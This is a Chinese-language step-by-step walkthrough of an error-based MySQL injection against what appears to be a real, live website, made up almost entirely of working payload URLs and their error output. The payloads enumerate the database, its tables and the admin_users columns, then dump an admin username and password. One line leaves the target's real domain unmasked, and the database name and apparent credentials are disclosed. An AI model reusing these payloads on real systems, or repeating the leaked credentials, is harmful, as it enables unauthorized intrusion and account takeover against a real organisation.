MySQL基于报错注入2
目标站点:
0x1 注入点判断
http://www.xxxxxx.com/pages/services.php?id=1 #true
http://www.xxxxxx.com/pages/services.php?id=1' #false
闭合单引号:
http://www.xxxxxxcom/pages/services.php?id=1' --+ #true
0x2 获取当前数据库基本信息
数据库版本信息:
http://www.xxxxxx.com/pages/services.php?id=1' +OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1 --+
Duplicate entry '10.1.38-MariaDB-cll-lve:1' for key 'group_key'
当前数据库:
http://www.xxxxxx.com/pages/services.php?id=1' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+
kuuku205_ohms
0x3 获取对应库的表名
http://www.xxxxxx.com/pages/services.php?id=1' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+
admin_users
bdetails
booking
calendar
ga_admin_users
ga_news
ga_pages
ga_products
pages
photogallery
。。。。。太多了,这里只关注admin表
0x4 获取admin_users标的字段
http://www.xxxxxx.com/pages/services.php?id=1' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+
Duplicate entry 'userid~1' for key 'group_key'
http://www.xxxxxx.com/pages/services.php?id=1' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+
Duplicate entry 'password~1' for key 'group_key'
http://www.ohmsghana.com/pages/services.php?id=1' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+
Duplicate entry 'fname~1' for key 'group_key'
http://www.xxxxxx.com/pages/services.php?id=1' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+3,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+
Duplicate entry 'lname~1' for key 'group_key'
这里只获取:
lname,password 即可
0x5 获取数据库字段数据
http://www.xxxxxx.com/pages/services.php?id=1' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(lname,0x7e,password)+AS+CHAR),0x7e))+FROM+admin_users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+
Duplicate entry 'Staff~admin4ohms~1' for key 'group_key'